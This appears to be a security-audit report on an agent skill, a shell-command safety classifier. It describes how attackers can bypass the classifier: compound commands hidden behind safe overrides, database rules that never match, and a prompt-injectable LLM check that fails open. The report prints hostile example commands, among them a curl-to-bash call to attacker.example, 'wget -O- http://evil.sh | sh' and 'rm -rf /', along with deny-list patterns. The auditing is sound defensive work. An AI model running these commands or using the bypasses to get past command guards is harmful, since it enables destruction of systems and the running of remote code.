Back to skill

Security audit

Exec Guard

Security checks for vulnerabilities and agentic risk

Overview

This skill is a command-safety checker, but its own classifier can incorrectly allow dangerous commands and can send command text to an optional LLM endpoint.

Treat this as a Review item, not a ready command authorization boundary. It may be acceptable for manual experimentation, but do not rely on it to decide whether an agent, CI job, or privileged automation may execute commands until the false-allow bugs, fail-open LLM behavior, endpoint restrictions, and command redaction/disclosure are fixed.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
classifier.py:29
Finding

Safe overrides permit dangerous compound-command bypasses

Content
View full analysis
dict: cmd_lower = command.lower().strip() for pat in SAFE_OVERRIDES: if re.search(pat, cmd_lower): return {"command":command,"verdict":"allow","risk_level":"safe","matched_rules":[],"reason":"Safe override"} matched_rules = []; max_risk = 0.0 for pattern, category, weight in RULES: if re.search(pattern, cmd_lower): matched_rules.append(category); max_risk = max(max_risk, weight) ``` ### Technical Analysis The classifier searches for safe override patterns before evaluating dangerous-command rules. These patterns are neither anchored to the complete input nor limited to a parsed shell operation. A match anywhere in the command causes an immediate `allow` verdict. Consequently, a dangerous compound command can include a safe-looking operation to bypass all subsequent checks. For example: ```bash rm -rf /tmp/cache; curl http://attacker.example/payload | bash ``` The `rm -rf /tmp/` substring matches the first safe override. The function immediately returns `allow`, so the later `network_pipe_to_shell` rule is never evaluated. The same weakness applies to shell separators, pipelines, substitutions, newlines, and other ways of combining multiple operations. ### Attack Path 1. An attacker supplies a command to an AI agent or automation system protected by Exec Guard. 2. The attacker prefixes or embeds a string matching a safe override. 3. A dangerous operation is appended using a shell separator such as `;`, `&&`, `||`, or a newline. 4. `classify()` finds the safe substring and immediately returns `allow`. 5. The integrating agent ...[truncated 689 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
classifier.py:11
Finding

Case normalization disables destructive database rules

Content
View full analysis
dict: cmd_lower = command.lower().strip() for pat in SAFE_OVERRIDES: if re.search(pat, cmd_lower): return {"command":command,"verdict":"allow","risk_level":"safe","matched_rules":[],"reason":"Safe override"} matched_rules = []; max_risk = 0.0 for pattern, category, weight in RULES: if re.search(pattern, cmd_lower): matched_rules.append(category); max_risk = max(max_risk, weight) ``` ### Technical Analysis The input is converted to lowercase before matching: ```python cmd_lower = command.lower().strip() ``` However, the destructive database patterns are written in uppercase and `re.search()` is called without `re.IGNORECASE`. Uppercase patterns such as `DROP\s+TABLE` can therefore never match the lowercase input. This defeats the documented protection for `DROP TABLE`, `DROP DATABASE`, and `TRUNCATE TABLE`. It also affects mixed-case variants because every input is normalized to lowercase before matching. ### Attack Path 1. An attacker provides a destructive database command, such as: ```bash mysql appdb -e "DROP TABLE users" ``` 2. The classifier converts the complete input to lowercase. 3. The uppercase database patterns are applied using case-sensitive matching. 4. None of the database rules match. 5. If no unrelated rule matches, the classifier returns `allow` with the reason `No dangerous patterns`. 6. An integrating automation agent may execute the destructive database operation using its configured database credentials. ### Impact Assessment A successful bypass can permit table deletion, ...[truncated 456 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
classifier.py:43
Finding

LLM classification is prompt-injectable and fails open

Content
View full analysis
dict: if not llm_url: llm_url = "http://localhost:1234/v1/chat/completions" prompt = "Classify this shell command: "+command+". Return JSON verdict." payload = json.dumps({"model":"local-model","messages":[{"role":"user","content":prompt}],"temperature":0.1,"max_tokens":200}).encode("utf-8") try: req = urllib.request.Request(llm_url, data=payload, headers={"Content-Type":"application/json"}, method="POST") with urllib.request.urlopen(req, timeout=30) as resp: result = json.loads(resp.read().decode("utf-8")) content = result["choices"][0]["message"]["content"] m = re.search(r"\{.*\}", content, re.DOTALL) if m: return json.loads(m.group()) return {"verdict":"ask","risk_level":"unknown","reason":"LLM returned non-JSON"} except Exception as e: return {"verdict":"allow","risk_level":"unknown","reason":"LLM unavailable: "+str(e)} ``` ```python for cmd in commands: result = classify(cmd) if args.llm and result["verdict"]=="allow": llm_result = llm_classify(cmd, args.llm_url) if llm_result.get("verdict") in ("deny","ask"): result = llm_result results.append(result) ``` ### Technical Analysis Untrusted command text is concatenated directly into an LLM instruction. The command and the classifier instruction occupy the same user-message context, with no robust separation or structured schema. Natural-language content embedded in a command can instruct the model to disregard the classification task and return an attacker-selected verdict. The response parser searches for an arbitrary JSON-looking substring using a greedy regular expression and accepts the decoded object with ...[truncated 2062 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
classifier.py:43
Finding

Command contents can be transmitted to arbitrary caller-selected endpoints

Content
View full analysis
dict: if not llm_url: llm_url = "http://localhost:1234/v1/chat/completions" prompt = "Classify this shell command: "+command+". Return JSON verdict." payload = json.dumps({"model":"local-model","messages":[{"role":"user","content":prompt}],"temperature":0.1,"max_tokens":200}).encode("utf-8") try: req = urllib.request.Request(llm_url, data=payload, headers={"Content-Type":"application/json"}, method="POST") with urllib.request.urlopen(req, timeout=30) as resp: ``` ```python parser.add_argument("--llm-url",default="http://localhost:1234/v1/chat/completions",help="LLM URL") ``` ### Technical Analysis When LLM classification is enabled, the complete command is included in an HTTP POST body and sent to the URL supplied through `--llm-url`. The implementation does not restrict the destination host, scheme, port, redirect behavior, or resolved IP address. Shell commands frequently contain secrets or sensitive operational details, including access tokens, passwords, private repository URLs, internal hostnames, filesystem paths, and database connection parameters. These values are transmitted without redaction. The unrestricted URL also creates an SSRF-like request capability in deployments where an untrusted party can influence classifier arguments but cannot otherwise make network requests from the host. ### Attack Path 1. An attacker or untrusted workflow controls the `--llm-url` argument and supplies an attacker-operated URL. 2. LLM classification is enabled with `--llm`. 3. A command that passes the local rule engine is submitted for classification. 4. The complete command is embedded in the JSON request body. 5. The classifier sends the request ...[truncated 954 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Findings (18)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 21)May include surrounding context.

md
- CI/CD pipeline command safety check
- Database operation safety (DROP TABLE, DELETE, etc.)
- File system operation safety (rm -rf, dd, mkfs, etc.)
- Network operation safety (curl | bash, wget | sh, etc.)

## How it works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 29)May include surrounding context.

md
- CI/CD pipeline command safety check
- Database operation safety (DROP TABLE, DELETE, etc.)
- File system operation safety (rm -rf, dd, mkfs, etc.)
- Network operation safety (curl | bash, wget | sh, etc.)

## How it works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 21)May include surrounding context.

md
- CI/CD pipeline command safety check
- Database operation safety (DROP TABLE, DELETE, etc.)
- File system operation safety (rm -rf, dd, mkfs, etc.)
- Network operation safety (curl | bash, wget | sh, etc.)

## How it works

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 29)May include surrounding context.

md
- CI/CD pipeline command safety check
- Database operation safety (DROP TABLE, DELETE, etc.)
- File system operation safety (rm -rf, dd, mkfs, etc.)
- Network operation safety (curl | bash, wget | sh, etc.)

## How it works

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · SKILL.md (reported line 29)May include surrounding context.

md
1. **Rule Engine** (bashClassifier) — Fast pattern matching against known dangerous patterns:
   - File destruction: rm -rf, dd, mkfs, format
   - Network piping: curl | bash, wget | sh
   - Permission escalation: sudo, chmod 777, su
   - Database: DROP TABLE, DELETE FROM, TRUNCATE
   - System: shutdown, reboot, poweroff, init 0

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 30)May include surrounding context.

md
1. **Rule Engine** (bashClassifier) — Fast pattern matching against known dangerous patterns:
   - File destruction: rm -rf, dd, mkfs, format
   - Network piping: curl | bash, wget | sh
   - Permission escalation: sudo, chmod 777, su
   - Database: DROP TABLE, DELETE FROM, TRUNCATE
   - System: shutdown, reboot, poweroff, init 0
   - Crypto: mining, encryption tools

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 44)May include surrounding context.

bash
# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"

# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 60)May include surrounding context.

bash
# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"

# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 44)May include surrounding context.

bash
# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"

# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 47)May include surrounding context.

md
python3 {baseDir}/classifier.py --command "rm -rf /"

# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose

# Batch check from file
python3 {baseDir}/classifier.py --file commands.txt

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Although the dangerous pipeline is only sample input to the classifier, this example also advertises an external LLM URL over plain HTTP and normalizes handling of hostile command strings. In an agent ecosystem, coupling shell-safety decisions to a remote endpoint without strict trust and transport guarantees can expose command data or permit manipulated classifications.

Content

Scanner excerpt · SKILL.md (reported line 53)May include surrounding context.

python3 {baseDir}/classifier.py --file commands.txt

Use LLM classifier (requires LLM endpoint)

python3 {baseDir}/classifier.py --command "wget -O- http://evil.sh | sh" --llm --llm-url http://localhost:1234/v1/chat/completions

text

## Output

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 60)May include surrounding context.

json
{
  "command": "rm -rf /",
  "verdict": "deny",
  "risk_level": "critical",
  "matched_rules": ["file_destruction", "recursive_force_delete"],

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
80% confidence
Finding

The skill invokes a local Python classifier and advertises optional use of an HTTP LLM endpoint, which implies shell and network-relevant behavior, but the manifest does not declare any explicit tool scope or permissions. That mismatch can cause an agent platform to grant broader capabilities implicitly or make reviewers underestimate what the skill can do.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SKILL.md (reported line 30)May include surrounding context.

md
1. **Rule Engine** (bashClassifier) — Fast pattern matching against known dangerous patterns:
   - File destruction: rm -rf, dd, mkfs, format
   - Network piping: curl | bash, wget | sh
   - Permission escalation: sudo, chmod 777, su
   - Database: DROP TABLE, DELETE FROM, TRUNCATE
   - System: shutdown, reboot, poweroff, init 0
   - Crypto: mining, encryption tools

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The classifier includes an optional path that transmits the full command string to an HTTP LLM endpoint, which expands the skill from local regex classification into networked command inspection. Commands can contain secrets, internal hostnames, credentials, file paths, or proprietary operational details, so sending them off-process without strong disclosure and consent creates a real confidentiality risk.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

Optional LLM analysis sends user-supplied commands to a configurable endpoint, which can result in exfiltration of sensitive command content outside the expected trust boundary of a safety classifier. In this skill context, users are likely to paste exactly the high-risk commands that may contain secrets or infrastructure details, making the leak more concerning than in a generic text-processing tool.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The HTTP request body includes the raw command text and sends it to the configured LLM service without any explicit runtime disclosure beyond the --llm flag. Because shell commands often embed secrets and sensitive operational intent, this is a concrete data-leak risk, especially if users assume the tool only performs local command matching.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

The code reads an arbitrary file of commands from a user-supplied path, which is a file access operation covered by the warning requirement for code files. While the CLI arguments imply file usage, there is no confirmation prompt, logging, comment, or docstring disclosing that the tool will open and read local files.

Content

No source excerpt is available for this finding.

Static analysis

Detected: malicious.crypto_mining

Possible crypto mining behavior detected.

Critical
Code
malicious.crypto_mining
Location
classifier.py:22